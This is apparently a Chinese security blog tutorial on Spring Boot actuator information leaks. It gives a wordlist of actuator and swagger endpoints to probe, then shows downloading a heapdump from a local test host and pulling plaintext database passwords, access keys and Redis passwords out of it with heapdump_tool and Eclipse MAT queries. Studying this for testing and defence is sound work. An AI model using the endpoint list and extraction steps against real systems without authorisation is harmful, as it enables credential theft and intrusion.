• Springboot信息泄露以及heapdump的利用


    14天阅读挑战赛
    努力是为了不平庸~
    安全有些时候是枯燥的,这一次,让我们先人一步,趣学渗透!

    0x01 Springboot信息泄露

    在这里插入图片描述
    渗透测试的时候老遇到spring的heapdump能下载但是不知道怎么利用,今天发几个工具让漏洞危害最大化。通过heapdump获取明文密码在深入利用。

    路由列表

    /api-docs
    /v2/api-docs
    /swagger-ui.html
    /api.html
    /sw/swagger-ui.html
    /api/swagger-ui.html
    /template/swagger-ui.html
    /spring-security-rest/api/swagger-ui.html
    /spring-security-oauth-resource/swagger-ui.html
    /mappings
    /actuator/mappings
    /metrics
    /actuator/metrics
    /beans
    /actuator/beans
    /configprops
    /actuator/configprops
    /actuator
    /auditevents
    /autoconfig
    /caches
    /conditions
    /docs
    /dump
    /env
    /flyway
    /health
    /heapdump
    /httptrace
    /info
    /intergrationgraph
    /jolokia
    /logfile
    /loggers
    /liquibase
    /prometheus
    /refresh
    /scheduledtasks
    /sessions
    /shutdown
    /trace
    /threaddump
    /actuator/auditevents
    /actuator/health
    /actuator/conditions
    /actuator/env
    /actuator/info
    /actuator/loggers
    /actuator/heapdump
    /actuator/threaddump
    /actuator/scheduledtasks
    /actuator/httptrace
    /actuator/jolokia
    /actuator/hystrix.stream
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    /trace:显示最近的http包信息,可能泄露当前系统存活的Cookie信息。
    /env:应用的环境信息,包含Profile、系统环境变量和应用的properties信息,可能泄露明文密码与接口信息。
    /jolokia:RCE漏洞
    /heapdump:JVM内存信息,分析出明文密码

    0x02 下载heapdump

    ​http://127.0.0.1:8088/actuator/​​查看泄露的端点信息
    在这里插入图片描述
    在这里插入图片描述
    127.0.0.1:8088/actuator/heapdump 下载heapdump文件,泄露JAVA堆dump信息:
    在这里插入图片描述

    0x03 利用heapdump的姿势

    工具一:heapdump_tool

    heapdump敏感信息查询工具,例如查找 spring heapdump中的密码明文,AK,SK等。

    https://github.com/wyzxxz/heapdump_tool
    https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20220720/heapdump_tool.jar
    
    • 1
    • 2

    在这里插入图片描述
    工具使用

    java -jar heapdump_tool.jar   heapdump.6
    
    • 1

    在这里插入图片描述

    root@wy:~# 
    > java -jar heapdump_tool.jar  heapdump.6
    [-] file: heapdump.6
    [-] Start jhat, waiting...
    [-] get objects,waiting(1-2min)...
    [-] fing object count: 113128
    [-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
    > spring.datasource.password
    [-] Start find keyword: spring.datasource.password
    >> spring.datasource.password -> test@wyzxxz 
    [-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
    > accesskey
    [-] Start find keyword: accessKey
    >> ConnectionProperties.noAccessToProcedureBodies -> When determining procedure parameter types for CallableStatements, and the connected user can''t access procedure bodies through "SHOW CREATE PROCEDURE" or select on mysql.proc should the driver instead create basic metadata
    >> accessKey -> LTA**************
    [-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
    > q
    [-] exit.
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    查询密码
    在这里插入图片描述
    获取IP
    在这里插入图片描述
    获取url
    在这里插入图片描述
    获取文件路径

    此功能可获取到目标系统的依赖版本。
    在这里插入图片描述

    工具二:Eclipse MemoryAnalyzer

    Eclipse MemoryAnalyzer 工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息。

    http://www.eclipse.org/mat/downloads.php
    
    • 1

    在这里插入图片描述

    Springboot信息泄露测试
    Burpsuite Intruder模块扫描
    在这里插入图片描述

    heapdump读取
    在这里插入图片描述
    在这里插入图片描述

    heapdump分析

    2.2 heapdump分析
    spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值对中

    select * from org.springframework.web.context.support.StandardServletEnvironment
    
    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
    
    • 1
    • 2
    • 3

    spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中:

    select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
    
    • 1

    在这里插入图片描述

    读取Redis明文密码
    在这里插入图片描述

  • 相关阅读:
    亚马逊云科技二度亮相服贸会,又带来哪些前沿应用技术?
    空和null是两回事
    复现一篇简单的基于滑模控制的扩张状态观测器LESO
    Curator实现zookeeper分布式锁
    Python详细安装配置教程
    1.3.17 扩展 IP 访问控制列表配置
    3D手眼标定之原理(3D Vision Roboot Eye-to-hand Calibration)
    java计算机毕业设计智慧校园系统后端源码+mysql数据库+系统+lw文档+部署
    leetcode 27. 移除元素
    赛轮集团受邀出席2024国际新能源智能网联汽车创新生态大会
  • 原文地址:https://blog.csdn.net/weixin_44309905/article/details/127279561